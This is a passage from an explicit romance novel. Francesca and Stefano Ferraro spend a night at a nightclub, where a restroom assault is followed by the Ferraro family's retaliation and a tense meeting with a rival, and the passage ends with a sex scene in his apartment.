His voice held laughter so she wasn't certain if he was serious, although he looked serious. She was saved from having to reply because four men walked up to them, two dressed in dark pin-striped suits. She recognized Lanz and Deangelo immediately and knew instantly the other two were Stefano's cousins as well. All four men were extremely good-looking and fit, but the two new ones really stood out. Something about the way they moved made her think of Stefano. They could easily be brothers, not cousins.
Stefano stopped on the edge of the dance floor as the others came up to them. Francesca tried to step away from him, to put a little space between them, but he simply stepped behind her and wrapped his arms around her rib cage, right under her breasts. The feel of his arms pressing so tightly on the undersides of her breasts made her feel needy. Achy. He was too potent and she couldn't be so close, not with the spotlight so clearly on them. She couldn't even take a breath without breathing him in.
"You know Lanz and Deangelo, _bambina_ , right? These are two more of my cousins from New York. Salvatore and Lucca, this is my Francesca."
Salvatore took her hand and brought it to his mouth. Before he could touch his lips to her knuckles, Stefano reached out and caught her wrist, pulling her hand away. Immediately his cousins burst into laughter.
"Damned swine," Stefano said, without the least rancor. "Francesca, it's best not to look directly at these New Yorkers. They may be my cousins, but they're truly the devil's best friends. Stay very close to me so I can protect you."
She couldn't help but laugh as the cousins looked pleased with Stefano's assessment. Stefano waved his hand toward the VIP section and their table. Surrounded by the men, Francesca felt unbelievably protected as they moved up the stairs to their table. Stefano's brothers were already there, seated with Emmanuelle, and they actually rose when Francesca approached the table. She found herself blushing at the attention they were getting.
"Where's Joanna?" she asked Emmanuelle, a little worried that her friend might be upset that she'd disappeared.
"On the dance floor with Mario. They can't take their eyes off each other," Giovanni said. "I'm looking into that man. He'd better not break her heart."
Francesca liked that, even though he really did sound menacing and the quick nods the brothers gave one another made them seem just as threatening. Still, it was Joanna, and she was grateful the Ferraro brothers took her protection seriously.
"Rigina and Rosina are keeping an eye on things," Emmanuelle said. "Don't go all cavemen on poor Joanna. She's really into Mario, and he seems genuine enough."
Stefano held out the chair for Francesca and then, when she slipped into it, pulled the one beside it close, so their thighs were touching and he could easily wrap his arm around her shoulders. He caught her hand and pulled it to his thigh, pressing her palm deep into his heat.
The waitress was there instantly. Francesca knew she shouldn't—she needed to keep her wits about her—but she ordered another Moscow Mule with lime. The lime, vodka and ginger beer made a refreshing drink. It went down smoothly, sometimes too smoothly, but she didn't care. She relaxed into Stefano and let the talk flow around her, although the cousins, brothers and Emmanuelle made certain she was a part of the conversation.
There was a lot of laughter. The Ferraro family clearly was close and they liked one another enough to give one another a hard time. Salvatore and Lucca's brother, Geno, couldn't attend the family celebration but had sent his congratulations.
"What exactly is the family celebrating?" Francesca asked Stefano, leaning close to him, her head on his shoulder, her lips pressed against his ear to be heard above the noise of the club.
Stefano threw back his head and laughed. She _loved_ the sound. Carefree. Masculine. Enjoying life. He didn't laugh a lot. "You, _bambina_ , we're celebrating me finding you."
She was stunned by the sheer honesty in his voice. By the raw desire so plain in his vibrant blue eyes for anyone to see. By the possession stamped deep into his dark expression. He meant that. His cousins and family were celebrating Stefano finding Francesca. Claiming her. That knowledge went deep. She felt tears burn behind her eyes. Before anyone else could see them, she turned her face into his neck.
Immediately he wrapped his arms around her. "You're the best thing that's ever happened to me, Francesca. Of course I'm going to share the most important woman in my life with the people I love. My cousins from San Francisco couldn't make it, but they wanted to."
"We're careful not to all gather in one place," Taviano supplied. "San Francisco drew the short straw."
The short straw—she'd heard that term before when Emmanuelle hadn't come to support her during what she thought of as "the interrogation." "Why wouldn't you be able to gather in one place together?" She frowned at them as they all went silent.
Stefano shrugged casually, when she knew he was feeling anything but casual. She could feel the tension around the table.
"It stems from hundreds of years ago, a law handed down in our family generations ago. The Saldi family in Sicily murdered the Ferraro family, killing as many members, men, women and children, as they could. The decree that we don't all gather in one place was passed down by those surviving that massacre. It was a long time ago, just history really, but we still abide by that rule."
Stefano had sworn at Giuseppi Saldi, deliberately goading him. When the two families had feuded for over a hundred years or more, why would he feel he was safe talking to the head of a crime family like that unless the Ferraro family was also a crime family as she'd first suspected? A small, icy finger of unease snaked down her spine.
"We're celebrating tonight," Ricco said, raising his glass. "To our Francesca. May she be followed by the right ones in a very timely manner."
"Hear, hear," the others chorused and clinked glasses.
She had no idea what they were talking about, but they all seemed happy, so she sipped at her drink, smiling. Letting herself believe that she could have a big family. That a man would love her the way Stefano seemed to. She didn't deserve it. She hadn't earned it, but she was determined to do so.
The talk flowed around her for another hour. She wanted to dance. One more Moscow Mule and she wouldn't care whether it bothered Stefano or not. She leaned close to him. "I'll be right back, Stefano," she said. "I'm heading to the ladies' room and no, you can't go with me," she hastily added as he rose with her. To her horror they all stood. The entire table of men. To try to stop the furious blush rising, she tugged at her hand to escape him. "And I'll want to dance, so if you didn't bring your dancing shoes, be prepared for seeing me dancing with another man."
"That's not happening, _dolce cuore_ , not unless you want to see bloodshed. Fortunately, I always bring my dancing shoes. And I will be escorting you, so don't argue with me anymore. I don't like it and it won't do you any good."
She blinked rapidly, annoyed. "You seriously can't say things like that to me. I mean it, Stefano. I'm sorry if I annoy you, but if I object to something, I'm going to voice it."
He wrapped his arm around her waist, pulling her in close, her front to his side as they made their way to the restrooms in the VIP section. "Voice it all you like, Francesca. I didn't mean you can't tell me when you disagree, but there isn't any purpose in arguing when it comes to your safety. You won't get your way."
# CHAPTER FOURTEEN
Francesca made her way to the restrooms without looking at Stefano. It was easy enough because she was so close to him she could feel his heat right through his immaculate and extremely expensive pin-striped suit. He was annoying her with his bossy ways, but not enough for her to start a fight over it. She was far too mellow with her three Moscow Mules, the music, and the feel and smell of Stefano Ferraro.
"What's up with the suits?" she murmured, running her hand inside his jacket so she could feel the quality of his impressive dark shirt. "You and all your brothers wear them, your sister does and now your cousins. But not _all_ your cousins. They all wear suits, just not pin-striped suits."
Stefano hesitated. Just slightly, but it was enough of a hesitation that she noticed it and she stopped, forcing him to stop right along with her. Only then did she realize that the party had accompanied them. They were surrounded by his brothers and cousins, including Emilio and Enzo. She was once again in the center, as if they were all guarding her.
"Stefano?" Her voice trembled a little. Suddenly, from feeling safe and protected, she feared maybe there was a reason they were all surrounding her. Was it because they'd confirmed that the man staring at her at the deli had been sent by Barry Anthon? She'd continued to work and he hadn't returned, nor had anyone else shown up.
"I'll explain about the suits at home, _bambina_." His voice was gentle, once again obviously reading her mood, but not the reason why.
She looked around the circle of tough, handsome faces and found herself pressing closer to Stefano. "Is something wrong? Did Barry . . ."
_"No."_ He was emphatic. "We're just watching over you your first time out in a public venue when the paparazzi are here. We try to keep them out, but cameras are everywhere."
For the first time, she detected a lie. They hadn't tried to keep the paparazzi out. Why would that be? And why would Stefano lie about that when he clearly hadn't lied about anything else? She didn't understand his world. It was filled with intrigue and danger. More, she feared it was filled with violence.
She studied his face, taking her time. Letting him see her trepidation. He was so beautiful to her. The planes and angles of his face, so absolutely masculine. He looked like a man, not a boy. There wasn't softness to his features, yet he still looked model perfect to her. The long sweep of his eyelashes and deep blue of his eyes, the shadow on his strong jaw, his straight aristocratic nose and especially his mouth, that sinful, amazing mouth that gave her so many fantasies—all together were perfection.
His fingers curled around the nape of her neck and he bent his head until his forehead touched hers and he was staring into her eyes. "You gave me you, Francesca. Give me your trust."
She went up on tiptoes and put her mouth to his ear. "You just told me a lie about the paparazzi, Stefano. You wanted them here."
She expected him to be upset that she caught his lie, but instead he looked inexplicably pleased and proud of her. "We'll sort out your questions in time. For now, _bella_ , just trust me."
She took a breath. Inhaled him right through her nose, her mouth, her very pores until she was taking him deep into her body. He had wound himself so tightly around her bones and heart that she knew she would never get him out. She just nodded, because she was incapable of speech. Her heart beat a weirdly frantic tattoo and blood thundered in her ears so loud she couldn't hear anything but her own driving need. She touched her tongue to her bottom lip. His face was so close, the tip of her tongue touched his lip as well.
" _Bambina_ , right now, go into the restroom while you still can. When you come out, we'll dance and then I'm going to take you home and fuck you all night." He whispered the promise against her lips and it felt like he was already doing just that.
Her sex clenched and went damp. Her nipples tightened. Her breathing went ragged. He lifted his forehead from hers and turned her toward the restroom. She wasn't entirely certain she could take those last few steps to the entrance on her wobbly legs, but she managed, slipping into a stall and closing her eyes, savoring the way Stefano could make her feel with just a few words.
Perversely, she even liked him bossy when he was telling her what to do sometimes. She liked that he was decisive, confident and willing to take charge. She supposed when she was thinking about other things besides sex that might make her a little crazy, but right now, that was part of the chemistry.
To her dismay, when she emerged to wash her hands, the three blondes were there. Janice, in her venomous glory, was leaning down to sniff a line of cocaine right off the sink. Francesca raised an eyebrow but said nothing, going to the opposite end of the sink to the last basin.
Doreen nudged Stella. "Little Miss Goody Two-Shoes is giving us the shocked eye."
Francesca swept her gaze over the three women coolly. "Not shocked, just a little horrified. That can't be too sanitary."
"Sanitary?" Janice straightened, rubbing her nose to get the white powder clinging there off. "You're going home with Stefano Ferraro and you want to talk sanitary? Do you really think a little virginal thing like you is going to hold a man like that for more than one night? He likes spice, honey. He likes a woman to know what she's doing in his bed. You don't look like you know your way around a cock without a diagram."
The three women erupted into crude laughter. Francesca took the warm towel from the attendant, who met her eyes just for a moment, sympathy plain there. Maybe even a show of support. That quick, with just one brief moment taking her eyes off the other women, Doreen stepped behind her, her arms whipping around Francesca, holding her in place.
A toilet flushed in one of the stalls. Stella called out, stepping in close to Francesca. "Stay in the stall, bitch, unless you want to get hurt. You"—she indicated the attendant—"go find somewhere else to be."
Francesca forced herself to remain calm, when her temper was rising at an alarming rate. "Are you kidding me right now? You're grown women. You have careers. This is absolutely ridiculous. Doreen, let go of me."
"We're going to see how much Stefano likes his little virgin when he sees she's really a coke whore," Janice snarled, her eyes so narrow they appeared to be twin bright slits.
Doreen tried to push Francesca forward toward the sink and when Francesca resisted, Stella joined forces, shoving hard. Francesca was horrified. It had never occurred to her that three successful women, all grown and supposedly sophisticated and elegant, would resort to such childish and criminal assault. She realized they really meant it; they were going to push her face into the cocaine Janice had smeared on the sink. She slammed her heel hard into Doreen's shin, scraped down it so that she tore Doreen's stockings and stomped hard on her foot.
Doreen screamed out a string of ugly curses and flung Francesca forward into the sink. Francesca hit hard against the marble, but she spun around before Stella could push her face into the white powder. Janice shoved her open hand into Francesca's face in an attempt to coat Francesca's nose and mouth with the drug.
Suddenly Janice was dragged backward and Emmanuelle was there, moving so fast she seemed a blur of motion, barely discernible as she smoothly and efficiently dispatched all three women, using her hands and feet. One moment they were all standing and the next they were on the floor, faces swelling and bloody. All three cried, makeup running down their faces. Emmanuelle stood over them, contempt on her face, her body posture threatening. She looked every inch a Ferraro—a woman no one would ever want to mess with.
"Are you okay, Francesca?" In spite of her clear threat toward the three women trying to push themselves up onto their hands and knees, she appeared as calm and relaxed as ever.
"Yes. They didn't hurt me."
"Stay still," Emmanuelle hissed, nudging Janice with her foot. "You just tried to drug my future sister-in-law. She's Stefano's fiancée. What do you think he's going to do when he finds out what you've done?"
The faces turned up toward them went very pale. Doreen began to cry. The three of them made no move to get off the floor, obeying Emmanuelle's directive.
Francesca checked her face in the mirror to make certain there was no trace of the white powder. "I'm fine. We don't need to share this with Stefano."
"Yes, we do," Emmanuelle said firmly. "You can never keep anything from Stefano. _Never_ , Francesca. Especially when you've received threats. The slightest threat needs to be shared with the family."
Francesca took a breath. Emmanuelle was saying much more than what appeared on the surface of her admonishment, but what it was, Francesca had no idea. Still, in spite of the fact that Emmanuelle was very small, even shorter than Francesca, she appeared a woman of sheer steel.
Slowly, Francesca nodded. "Let me tell him."
Emmanuelle gave her a look. "You'll give him a lame version, and that's not going to fly, Francesca. What they tried to do to you was criminal. You could have been seriously hurt. All because they were jealous." She toed Janice with her Jimmy Choo sandal. "You're going to lose everything, you skank. Your money, your career, your friends, _everything_. He would never have dated you, any of you, not in a million years." She poured contempt into her voice. "Trying to harm Francesca because she's everything you're not is just plain stupid."
"Emmanuelle," Francesca intervened softly. Emmanuelle had the Ferraro trait of being intimidating. "Let's go."
Emmanuelle looked as if she wanted to start with physical violence all over again, but she stalked to the sink and washed her hands, smiling sweetly at the attendant and then pushing a large tip into her hands. She caught Francesca's arm and they left the restroom, the three women still on the floor, afraid to move, afraid of going against Emmanuelle's orders before she left the room.
Uneasiness crept into Francesca's mind. The three women were terrified of Emmanuelle—or at least of the threats she made.
"Stefano can't really wreck their careers, can he?" she asked, already afraid she knew the answer.
Emmanuelle just leveled a look at her. Francesca's heart lurched and then began to pound. The moment they had taken four steps out of the restroom and Stefano got a look at her, he claimed her, taking her hand and pulling her into the shelter of his body. His hand swept over her hair in a little caress.
"What happened?"
He chose to look to his sister for an explanation rather than to Francesca. Her temper flared. "Seriously, Stefano? Your skanky women tried to assault me—that's what happened."
She was rather shocked at the instant reaction. The crowd of his brothers and cousins went silent. Ricco in particular looked horrified. His gaze met Stefano's over her head.
All of them reflected the same emotions. _All_ of them. The brothers and cousins. Shock. Anger. The collective rage was so strong it was difficult to breathe with the violent tension filling the air. Stefano looked like thunder, a dark storm gathering in his vivid blue eyes. Stefano actually made to move past her, heading toward the restrooms, his face reflecting his rage.
"I'm all right." Francesca caught his arm, halting him, hastening to reiterate. "Emmanuelle came along and went all superwoman on them."
"What _exactly_ did these women try to do to you?" He bit out each word between clenched white teeth, all the while smoldering with fury.
She swallowed down the truth and went for a less dramatic version. "They had the idea that if I had a little of their cocaine on my face you'd not find me so attractive."
Emmanuelle coughed delicately behind her hand. Francesca glared at Stefano's sister, giving her a wide-eyed plea after. Francesca couldn't believe how angry the Ferraro clan was over the incident, and she feared for the three women when they emerged from the restrooms. Emmanuelle had already beaten them up. Aside from pressing criminal charges, which Francesca wouldn't do—she was never going to the police again—there wasn't much else to be done.
"I said _exactly_." Stefano caught her chin and tilted her face up toward his, his blue gaze inspecting every inch of her, looking for damage. _"Exactly."_
There was no getting around Stefano in this mood, or the others for that matter. They had sucked all the breathable air available and left behind a heavy layer of oppressive anger. "The three of them, Janice, Doreen and Stella, seem very upset that you aren't continuing your relationship with them. They were in the restroom doing a little pick-me-up cocaine right off the bathroom sink, which has to be totally unsanitary . . ."
" _Francesca._ _Dios_ , woman, you are making me crazy. Just tell me."
Someone snickered. She thought it was Vittorio and she was grateful to him for lightening the mood because the air became a bit less oppressive and she felt like she could actually breathe.
"Their idea was to smash my face in the powder. Doreen grabbed me from behind and Stella helped her. Janice tried to rub the coke into my nose and mouth." She rushed the story, hoping by telling it really fast, no one would actually hear the panic in her voice—the panic she had refused to feel when the three women had attempted to assault her.
Stefano cursed loud and long, first in Italian—and he was very inventive—and then in English—and he was very expressive.
"I believe these women reside in New York," Salvatore stated, his voice implying all sorts of things that scared Francesca.
Her gaze jumped to his face. "Emmanuelle took care of it," she reminded softly. "She beat the crap out of them."
Stefano shook his head. "No one touches you, Francesca. Not ever. The three of them won't have a fucking thing left when we get through with them." His hands ran over her, as if inspecting for damage. "Fucking bitches. They knew the score. They wanted publicity, and they got it. They'll be getting more than they can ever handle now."
He looked at his cousin Enzo and nodded. Just once, but Francesca was certain Stefano was giving his cousin an order. Enzo walked a distance away, punched in a number and put his cell phone to his ear.
Stefano curled his palm around the nape of Francesca's neck. "I haven't been with any of them for over a year."
"But they kept trying," Francesca pointed out. "The first night I was in your apartment, they called you. Sent you pictures."
"Mostly Janice. She was the worst of them. I should have known it was a mistake to hook up with her."
Francesca winced and looked down at her hands. This was all too much for her. Life in the fast lane wasn't for her. She wasn't in their league with their fast hookups and casual sex. She didn't work like that. The music pounded a beat in her head. The lights moved in a variety of colors throughout the room. Bodies swayed or danced to the beat while the sound of conversation and ice clinking in glasses felt like shards of glass pressing into her head. Why had she ever thought she had a chance with a man like Stefano Ferraro? It hurt to think of him with women like Doreen, Stella and Janice. It didn't lessen the hurt because the encounters were casual.
" _Il mio piccola bella amore_ , I can't change the past as much as I'd like to," he said softly. "I can only tell you that you have my future. Only you."
He said it out loud. Right in front of his family. His blue eyes held hers captive and she couldn't help but read the sincerity there or hear the honesty in his voice.
"I'm sorry these women tried to hurt you, _dolce cuore_. I'll take care of it. You need a female bodyguard to accompany you into dressing rooms and restrooms, Francesca. I'll get on that immediately. Emilio and Enzo have a sister, Enrica . . ."
"No." She shook her head. "I'm not going to have a bodyguard. I won't, Stefano, and there's not a single thing you can say that will change my mind."
His eyebrow went up and his mouth settled into a hard line. "It's a matter of your safety, Francesca," he reminded quietly.
He didn't argue, she remembered. She sighed. "Let's just drop it, Stefano. The three of them are hiding out in the restroom and probably will remain there until we leave."
Stefano shook his head, looked to Emilio and Enzo, who was back. "The police have been called."
She went white. She knew she did. She felt the color draining from her face and she shook her head adamantly. "No. I don't want to make out a report or bring charges against them. I won't talk to the police, Stefano, not ever again."
Salvatore's white teeth flashed and he nodded approvingly. "Good girl. This is a family matter. We don't talk to the police—not ever."
She didn't understand what he meant by that, because already she could hear sirens above the music, which meant the police were right outside. Enzo must have called them on Stefano's orders.
"You aren't going to press charges, Francesca," Stefano said gently. "The police have been notified that the attendant in the ladies' room observed three women using and selling cocaine in large amounts. The police will find plenty of evidence to back this charge up. No one will mention an assault, especially not Janice, Stella or Doreen. They can kiss their careers good-bye."
Her hand went defensively to her throat as bouncers escorted six police officers along the edge of the dance floor back toward the ladies' room. Ricco, at Stefano's nod, followed Emilio and Enzo, she guessed to represent the Ferraro family as owners.
"Stefano, actresses and actors and singers tend to do better whether publicity is negative or positive."
"Not in this case. My family has an investment in several entertainment fields, including their record label. Every contract has a clause for certain types of behavior. It's never exercised, but it's there in case it's needed."
She frowned, realizing he was serious. He'd have the women arrested on drug charges. She knew they were guilty of using and if they had a large supply, they very well could be guilty of selling. "Shouldn't being arrested and having to defend themselves in court be enough karma for them?"
"No."
Every brother and cousin as well as Emmanuelle replied at the same time. She could see the paparazzi were already moving into position to get pictures of whatever scandal was happening at the club. The circle of men tightened around her and Emmanuelle as the police brought out the three singers and flashes went off like mad. Most of those dancing on the floor turned to watch the three women being escorted out.
Janice, Stella and Doreen looked terrible. Their makeup was smeared all over their faces and they looked as if they'd been partying for hours, vomiting and sleeping on the bathroom floor, plus they looked bruised, with swollen faces from Emmanuelle kicking their asses. The photographs that would appear in the magazines were not going to be flattering in the least.
Francesca couldn't help the little pang of pity. "Maybe we should . . ."
"Enough, _bambina_. They're getting what they asked for. They would have forced drugs on you and painted you in a light that was far from flattering."
"I've been painted in that light for a long time, Stefano."
He took her hand and tugged her close to him. "I believe I owe you a dance or two."
"Uh-oh, Stefano," Ricco said. "At your five o'clock."
Beside her, Francesca felt Emmanuelle stiffen. She reached out without thinking and took Stefano's sister's hand. She had no idea why. Emmanuelle oozed confidence and poise. Nothing seemed to shake her—until now. The tension surrounding the brothers and cousins shot right back up until it stretched to a breaking point. Carefully, mostly because Emmanuelle's fingers tightened around hers as if she was a lifeline, Francesca turned her head in the direction of five o'clock.
A tall, very handsome man emerged from the crowd, striding toward them. He had broad shoulders and very dark, nearly black hair spilling down his forehead into vivid green eyes. He wore a white shirt and expensive dark slacks. A second man kept pace with him, a little shorter and clearly arrogant. He moved with the fluid motion of a boxer and the crowd parted for him.
"Valentino Saldi and his cousin Dario Bosco," Vittorio identified. "Son of a bitch, what would they be doing here?"
Stefano shrugged. "Apparently Tidwell got his throat cut tonight right in the middle of Giuseppi's home. Giuseppi must not have believed me when I told him we were having a celebration tonight and I was nowhere near his house."
The brothers grinned at one another, exchanging smug looks with their cousins. Francesca's heart gave another hard jerk. She was missing something important, but already the men had schooled their faces into their expressionless masks.
"Who the hell is Tidwell?" Salvatore asked.
"He was Francesca's landlord," Emmanuelle explained. "I told you about what a pervert he was, remember?"
"Pure slime. He was staying at Giuseppi Saldi's house. Giuseppi's nephew is married to Tidwell's aunt. They both were staying there for protection—can you believe it—from us," Stefano explained. "She claimed she was swimming in the pool and he was in a lounger right beside it. The pool is indoors and right smack in the center of Saldi's house. When the aunt emerged from the pool, there was her nephew dead, throat cut and no one heard or saw a thing. I guess they sent Valentino to the club to check our alibis."
"That's horrible," Francesca said. She couldn't really conjure up much distress, not when the man had raped women and had planned to rape her. Still, she felt sorry for his aunt.
Stefano swept his hand down Francesca's back in a caress meant to comfort. "If you prefer not to endure the stench of all things Saldi," he said to his cousins from New York, "you don't have to stick around for introductions."
"We'd prefer to stay," Salvatore declared.
Francesca expected Emmanuelle to drop her hand, but she didn't. If anything she moved a little closer to Francesca as if for protection. Francesca didn't get it, not with all her brothers and cousins towering over them, but she shifted her body subtly to bring herself just in front of Emmanuelle, partially blocking her from the newcomer's sight.
"Stefano," Valentino said, walking right up to the group, showing no fear or hesitation. "My uncle told me you were having a party, but he didn't say what you were celebrating tonight." His sharp gaze took in the strangers from New York as well as Francesca, before coming to rest on Emmanuelle. "I see you even let the little princess out tonight. I wouldn't have thought she was old enough for a nightclub."
"Bite me, Val," Emmanuelle snapped.
"Anytime, Emme." Valentino ignored the way her brothers shifted closer. "Just say when and where." Even in the dark it was easy to see the way his gaze drifted insolently from her head to her toes, taking in every detail. "I can see you're hurting for money, babe. You couldn't afford an entire dress tonight? Stefano, you should help the poor girl out."
"Are you always so rude?" Francesca demanded, mostly because Emmanuelle's fingers bit so deep into her hand she was afraid her bones would break. She would never have guessed that anyone could upset Emmanuelle with a few nasty comments.
Stefano instantly shifted his body, thrusting Francesca behind him. The brothers closed in from either side and behind her, forming a solid wall between the two women and Valentino Saldi.
"Why do you do that, Val?" Stefano asked. "Why pick on a woman? I don't get it, but then I never have."
Valentino shrugged. "Emme always rubs me the wrong way. I don't know why, but I'll apologize if that's what you want."
"Not me," Emmanuelle said. "It wouldn't be sincere anyway, so what's the point? Just go away. We're celebrating my brother's engagement."
The bottom fell out of Francesca's stomach. Right. To. The. Floor. She was suddenly on a runaway train with no way to jump off. Valentino's gaze jumped to her face. He looked genuinely shocked. "Engagement? Stefano?" He recovered quickly enough, smiling gallantly. "Congratulations, Stefano. I'm happy for you."
Strangely, in that moment, Valentino Saldi sounded sincere. His voice rang with honesty. There was no mistaking it.
"Francesca, Valentino Saldi and his cousin Dario Bosco," Stefano introduced with more than a little charm, but he didn't move, preventing the two men from getting close to her.
Dario nodded abruptly. Valentino's smile crept into his eyes. "I'm sorry I made you uncomfortable, Francesca, and that's a genuine apology. Stefano's a lucky man. Emmanuelle, one dance before I go." It wasn't a request. He sounded every bit as arrogant and bossy as Stefano.
Francesca was certain Emmanuelle would tell him to go to hell. Her brothers and cousins all bristled, making it clear from the swell of anger vibrating around them that they weren't happy with the order. Emmanuelle hesitated, but then her fingers loosened the death grip around Francesca's hand and she stepped out from behind her family.
Valentino held out his hand. Francesca inhaled sharply as Emmanuelle put her much smaller hand in his and allowed him to lead her onto the dance floor. Dario followed his cousin, keeping pace right behind him, clearly acting the part of a bodyguard.
"Why the hell does she do that?" Taviano demanded. "Every. Damn. Time. She lets that bastard order her around."
"She's defusing the situation," Vittorio said. "It works."
"It only works because he has our sister in his hands and we can't beat the holy hell out of him," Giovanni said.
Stefano tugged at Francesca's hand and she went with him onto the dance floor. The others followed, each catching up the hand of a woman as they passed her. Francesca felt sorry for the ladies dancing with the Ferraro family. The women were thrilled, but she knew the brothers and cousins had only taken to the dance floor to surround Emmanuelle and Valentino in a show of strength. Emmanuelle had her head resting against Valentino's broad chest, her eyes closed as they moved in perfect rhythm to the music.
Francesca _loved_ dancing. She'd always felt the music intensely, heard every instrument individually and then together to form, with her body, a perfect harmony. Adding Stefano to the equation only amplified the feeling. She'd danced with partners, but none felt a perfect match in the way she felt with Stefano, as if the two of them shared the same blood running through their veins, shared their skin and bones. Desire rose, sharp and intense, until she drifted, caught in his spell—caught by the rising tide of lust and passion that surrounded her, that consumed her.
Francesca nuzzled Stefano's chest, breathing him in, that scent unique to him that filled her lungs and surrounded her heart. She wasn't certain how he'd managed to penetrate her armor and gain her trust, but he had. She had questions, but the answers didn't seem to matter when she was close to him. She had to believe that he was real, that he was innately good, because it was already too late for her. If he wasn't as he seemed, if what was building between them wasn't real for him, she wasn't certain how she would survive.
His hand slid down her back, following the curve of her spine along the seam of her dress. She was acutely aware of his body, pressed so tightly against hers. His erection was hard and unashamed, a long, thick reminder of his need to possess her, burning a brand against her ribs, nearly nestling between her breasts. She shivered as his hand caressed her through the thin material of her dress. She felt every tiny movement, his muscles rippling beneath his elegant clothes, his breath against her hair, when he turned his head, the way his lips brushed against her temple. His hand slipped lower, to her thigh and his fingers began to write his name on her bare skin, branding her—his.
She'd never felt so alive, every nerve ending in her body on fire. Her breasts ached, her nipples hard little peaks, rubbing against him as they moved in perfect synchronization. Her body coiled tighter and tighter until she wanted to weep with a need for release. A fire built, roaring now, between her legs. Her panties were damp and all she could think about was his fingers so close to where her clit throbbed and burned for his touch.
She heard a small, strangled moan escape. She needed relief desperately. She needed his mouth on hers. His hands on her. Fingers in her. And his cock, so hot, so thick and demanding—she needed that most of all.
"Stefano." She whispered his name, knowing she was pleading, but she didn't care.
"Me, too, _amore_. We'll get out of here as soon as possible."
She loved that she wasn't the only one. That he felt the same desperation. She tilted her face upward to look at him, needing to see the raw desire stamped there. Needing to know his need was as great as her own. What she saw there made her breath catch in her throat. His hard features were stamped with absolute possession, with an urgency and passion she knew she couldn't yet compete with. That only brought on a fresh flood of liquid heat.
He took her mouth. Abruptly. Almost savagely. His tongue was demanding, not giving her a chance to catch up; he just swept her away on that tidal wave of sheer feeling. She couldn't think and didn't want to. There was only her body and his. Moving together with the music flowing through them, binding them together with fire, need and the symphony of sound.
He kissed her again and again until she thought she might faint with absolute hunger. She didn't know a man's mouth could be so ravenous. She didn't know his cock could be so hard or his arms so strong, his body like steel. She didn't know his taste would be so addicting or that he could wipe out every sane thought and replace it with sheer, absolute need.
Her blood thundered in her ears, the beat matching the drum in the song. The beat pulsed in her clit, the clenching in her sex following the persistent clenching of her inner muscles and the spasm that accompanied every touch of Stefano's fingers.
"I've got to have you, Francesca. Be inside you. Right. Fucking. Now." He breathed the words into her mouth. Darkly sensual. His eyes hooded. Hungry.
The terrible tension coiled tighter. "Let's leave. Just go," she whispered back. Embarrassed that her need of him was so strong she would have let him have her right there in that club, somewhere dark, against the wall, on the floor; it didn't matter as long as he was filling her, taking away the ache that had built into a terrible conflagration.
"We'll go, _dolce cuore_ , in another minute. I've got to get myself under control."
She wasn't certain she wanted him under control, but she liked that he needed to get himself that way. That meant he was every bit as affected as she was. They moved together on the dance floor, Stefano using the music to guide her closer to an exit.
She suddenly felt uneasy, coming out of the cocoon Stefano had woven around her. She blinked, keeping her cheek pressed to his chest, right over his heart, but she looked around the darkened room. Stefano's hand stroked the back of her thigh, high, under her dress, and she was acutely aware of the pads of his fingers against her bare skin. He traced letters, his name, there as well. This time his fingertips slid along the seam of her cheeks and thigh, right where they met, rubbing caresses, continuing to build that terrible, _needy_ ache.
She moistened her lips, her gaze moving around the other dancers, aware suddenly that they weren't alone. She'd been so deep into the sexual web Stefano drew over her that she'd forgotten where they were—that they were surrounded. Those dancing close were his family members, keeping their backs to Stefano, but very close so that no one else could penetrate that circle.
Valentino Saldi had disappeared and Emmanuelle was dancing with a man she didn't know. Joanna and Mario were all over each other, Joanna looking flushed and happy some distance away. The strange uneasiness grew stronger in Francesca, in spite of the fact that no one seemed to be paying the least bit of attention to Stefano or her. She was grateful, because she was letting him touch her very inappropriately for their surroundings. She should have stopped him, but she felt as if she needed his touch on her bare skin just to survive.
She looked carefully around the crowd again, and her gaze met a man dancing very close to the exit Stefano guided her toward. A shiver went down her spine. He was dressed in very nice clothes, his hair falling around his face. He held a woman in his arms, but she could tell he barely noticed her. It was the same man she'd seen in Petrov's Pizzeria. It was the same man who had stood outside Masci's Deli and had drawn a finger across his throat in a gesture meant to frighten her. He was a distance away, but she felt his malevolence toward her. Suddenly she wasn't so certain Barry Anthon had sent him.
"What's wrong?" Stefano stopped on the dance floor, his hand going under her chin to lift her face so he could look at her.
Her gaze slid to his and then she turned her head to look back toward the man. The crowd of dancers had come between them and when they moved to the music, providing gaps, he wasn't there. She shivered again. If she told Stefano he'd turn the place upside down looking for the man.
Francesca pressed herself tighter against Stefano. "Take me out of here. I want to be alone with you." It was the truth. The stark honesty would be impossible to miss. The need and rising hunger in her was just as plain as the honesty but she didn't care if she was blatantly throwing herself at him. She needed Stefano Ferraro, even if she could only have him for a short time—before everything bad in her life caught up with her—and it would. She wanted as much time with Stefano as possible before that happened.
# CHAPTER FIFTEEN
Stefano kept Francesca's body very close to his as they rode the elevator up to his apartment, so close she could feel the heat of his body scorching her right through her clothes. The pads of his fingers continued to trace his name along the back of her thigh, up close to the cheeks of her butt, his fingertips brushing along her bottom as well. She'd worn a thong and he had a lot of skin to explore. He did so almost absently, while she was a bundle of nerves, her heart beating wildly out of control.
His arm was a steel band just under her breasts, locking her in front of him. His erection was long and thick and jerked hard against her back as the elevator ascended. He didn't speak, but the hand tracing his name into her skin suddenly cupped her bottom, fingers pressing deep, almost to the point of pain, but it was an exquisite pain, sending darts of fire straight to her sex.
The elevator jerked to a stop and the doors opened. He caught her up without preamble, just swung her into his arms as if he couldn't take another moment without her. He strode into the apartment straight to the nearest surface, the long, narrow, gleaming sideboard that jutted out from the decorative post to serve as a partial room divider. Sweeping the sideboard clean of the books, he laid her down, his body coming over hers to pin her there.
Stefano's mouth found hers, and the kiss was unlike anything she'd ever known. Devastatingly sweet turned instantly hot, hard and demanding. The kiss continued to evolve, going rough and insistent before his mouth left hers and began to trail a path of kisses, nips and licks down to her chin. Francesca's hands clutched either side of his skull, holding on in an effort to stay anchored and sane as he continued kissing his way down her throat.
He sucked gently at her skin and then laved the spot with his tongue before proceeding to the next spot as though he planned to cover every inch of her with teeth, lips and tongue. His hand slid up her inner thigh, the pads of his fingers like hot brands, tracing his name into her sensitive skin there. She squirmed, bucking her hips, needing more contact, feeling as though a fire burned out of control between her legs.
He caught at the front of her dress—the beautiful, exquisite designer dress he'd bought her—and ripped the thin material right down the front, so that her generous breasts spilled out. Instantly his mouth covered her right breast, pulling her nipple deep. The nearly painful pleasure had her arching her back, trying to come up off the narrow sideboard, a little cry of pure need escaping.
